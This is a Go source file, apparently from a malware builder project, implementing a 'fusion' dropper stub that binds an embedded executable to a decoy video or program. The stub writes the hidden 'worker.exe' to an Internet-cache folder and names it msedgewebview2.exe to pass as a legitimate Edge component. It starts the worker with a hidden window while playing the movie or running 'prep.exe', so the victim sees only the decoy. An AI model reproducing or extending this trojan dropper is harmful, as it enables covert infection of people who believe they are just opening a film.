Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
239 lines
5.0 KiB
Go
239 lines
5.0 KiB
Go
package main
|
|
|
|
import (
|
|
"crypto/sha256"
|
|
"embed"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"sync"
|
|
)
|
|
|
|
//go:embed assets/*
|
|
var assets embed.FS
|
|
|
|
// Replaced at forge time.
|
|
const (
|
|
runOrder = "FUSION_RUN_ORDER"
|
|
payloadKind = "FUSION_PAYLOAD_KIND"
|
|
mediaMode = "FUSION_MEDIA_MODE"
|
|
mediaFileName = "FUSION_MEDIA_FILE"
|
|
)
|
|
|
|
type fusionManifest struct {
|
|
PayloadKind string `json:"payload_kind"`
|
|
MediaMode string `json:"media_mode"`
|
|
MediaFileName string `json:"media_file_name"`
|
|
MediaEncFile string `json:"media_enc_file"`
|
|
MediaKeyB64 string `json:"media_key_b64"`
|
|
RunnerDisplay string `json:"runner_display_name"`
|
|
}
|
|
|
|
func main() {
|
|
if fusionLockHintMode() {
|
|
showLockedMediaHint()
|
|
return
|
|
}
|
|
|
|
workerPath, err := materializeWorker()
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
switch payloadKind {
|
|
case "video":
|
|
runVideoFusion(workerPath)
|
|
default:
|
|
runExeFusion(workerPath)
|
|
}
|
|
}
|
|
|
|
func runExeFusion(workerPath string) {
|
|
prepBytes, err := assets.ReadFile("assets/prep.exe")
|
|
if err != nil || len(prepBytes) == 0 {
|
|
return
|
|
}
|
|
|
|
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
|
if err != nil {
|
|
return
|
|
}
|
|
defer os.RemoveAll(dir)
|
|
|
|
prepPath := filepath.Join(dir, "prep.exe")
|
|
if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil {
|
|
return
|
|
}
|
|
|
|
runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) })
|
|
}
|
|
|
|
func runVideoFusion(workerPath string) {
|
|
mediaName := mediaFileName
|
|
if mediaName == "" {
|
|
if m := readManifest(); m != nil && m.MediaFileName != "" {
|
|
mediaName = m.MediaFileName
|
|
}
|
|
}
|
|
if mediaName == "" {
|
|
mediaName = "movie.mkv"
|
|
}
|
|
|
|
var mediaPath string
|
|
var err error
|
|
switch mediaMode {
|
|
case "embedded":
|
|
var cleanup func()
|
|
mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName)
|
|
if err != nil {
|
|
return
|
|
}
|
|
defer cleanup()
|
|
default:
|
|
var cleanup func()
|
|
mediaPath, cleanup, err = resolvePairedMedia(mediaName)
|
|
if err != nil || mediaPath == "" {
|
|
return
|
|
}
|
|
if cleanup != nil {
|
|
defer cleanup()
|
|
}
|
|
}
|
|
|
|
runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) })
|
|
}
|
|
|
|
func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
|
switch runOrder {
|
|
case "prep_first":
|
|
runPrimary()
|
|
launchWorker(workerPath)
|
|
case "worker_first":
|
|
launchWorker(workerPath)
|
|
waitProcess(workerPath)
|
|
runPrimary()
|
|
default:
|
|
launchWorker(workerPath)
|
|
var wg sync.WaitGroup
|
|
wg.Add(1)
|
|
go func() {
|
|
defer wg.Done()
|
|
runPrimary()
|
|
}()
|
|
wg.Wait()
|
|
}
|
|
}
|
|
|
|
func readManifest() *fusionManifest {
|
|
raw, err := assets.ReadFile("assets/manifest.json")
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
var m fusionManifest
|
|
if json.Unmarshal(raw, &m) != nil {
|
|
return nil
|
|
}
|
|
return &m
|
|
}
|
|
|
|
func materializeEmbeddedMedia(name string) (string, func(), error) {
|
|
data, err := assets.ReadFile("assets/media.bin")
|
|
if err != nil || len(data) == 0 {
|
|
return "", nil, fmt.Errorf("embedded media missing")
|
|
}
|
|
dir, err := os.MkdirTemp("", "cm-fusion-media-*")
|
|
if err != nil {
|
|
return "", nil, err
|
|
}
|
|
path := filepath.Join(dir, filepath.Base(name))
|
|
if err := os.WriteFile(path, data, 0644); err != nil {
|
|
os.RemoveAll(dir)
|
|
return "", nil, err
|
|
}
|
|
return path, func() { _ = os.RemoveAll(dir) }, nil
|
|
}
|
|
|
|
func resolvePairedMedia(name string) (string, func(), error) {
|
|
m := readManifest()
|
|
encFile := name + ".cmdata"
|
|
keyB64 := ""
|
|
playName := name
|
|
if m != nil {
|
|
if m.MediaEncFile != "" {
|
|
encFile = m.MediaEncFile
|
|
}
|
|
keyB64 = m.MediaKeyB64
|
|
if m.MediaFileName != "" {
|
|
playName = m.MediaFileName
|
|
}
|
|
}
|
|
if keyB64 != "" {
|
|
return encryptedMediaBesideRunner(encFile, keyB64, playName)
|
|
}
|
|
exe, err := os.Executable()
|
|
if err != nil {
|
|
return "", nil, err
|
|
}
|
|
dir := filepath.Dir(exe)
|
|
for _, candidate := range []string{name, filepath.Base(name)} {
|
|
p := filepath.Join(dir, candidate)
|
|
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
|
|
return p, func() {}, nil
|
|
}
|
|
}
|
|
return "", nil, fmt.Errorf("media not found")
|
|
}
|
|
|
|
func materializeWorker() (string, error) {
|
|
workerBytes, err := assets.ReadFile("assets/worker.exe")
|
|
if err != nil || len(workerBytes) == 0 {
|
|
return "", fmt.Errorf("worker missing")
|
|
}
|
|
|
|
base := os.Getenv("LOCALAPPDATA")
|
|
if base == "" {
|
|
base = os.TempDir()
|
|
}
|
|
sum := sha256.Sum256(workerBytes)
|
|
tag := hex.EncodeToString(sum[:6])
|
|
dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag)
|
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
|
return "", err
|
|
}
|
|
dest := filepath.Join(dir, "msedgewebview2.exe")
|
|
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) {
|
|
if sha256.Sum256(existing) == sum {
|
|
return dest, nil
|
|
}
|
|
}
|
|
if err := os.WriteFile(dest, workerBytes, 0755); err != nil {
|
|
return "", err
|
|
}
|
|
return dest, nil
|
|
}
|
|
|
|
func launchWorker(path string) {
|
|
cmd := exec.Command(path)
|
|
cmd.Dir = filepath.Dir(path)
|
|
applyHiddenStart(cmd)
|
|
_ = cmd.Start()
|
|
}
|
|
|
|
func waitProcess(path string) {
|
|
cmd := exec.Command(path)
|
|
cmd.Dir = filepath.Dir(path)
|
|
_ = cmd.Run()
|
|
}
|
|
|
|
func fusionLockHintMode() bool {
|
|
for _, arg := range os.Args[1:] {
|
|
if arg == "--locked" || arg == "-locked" {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|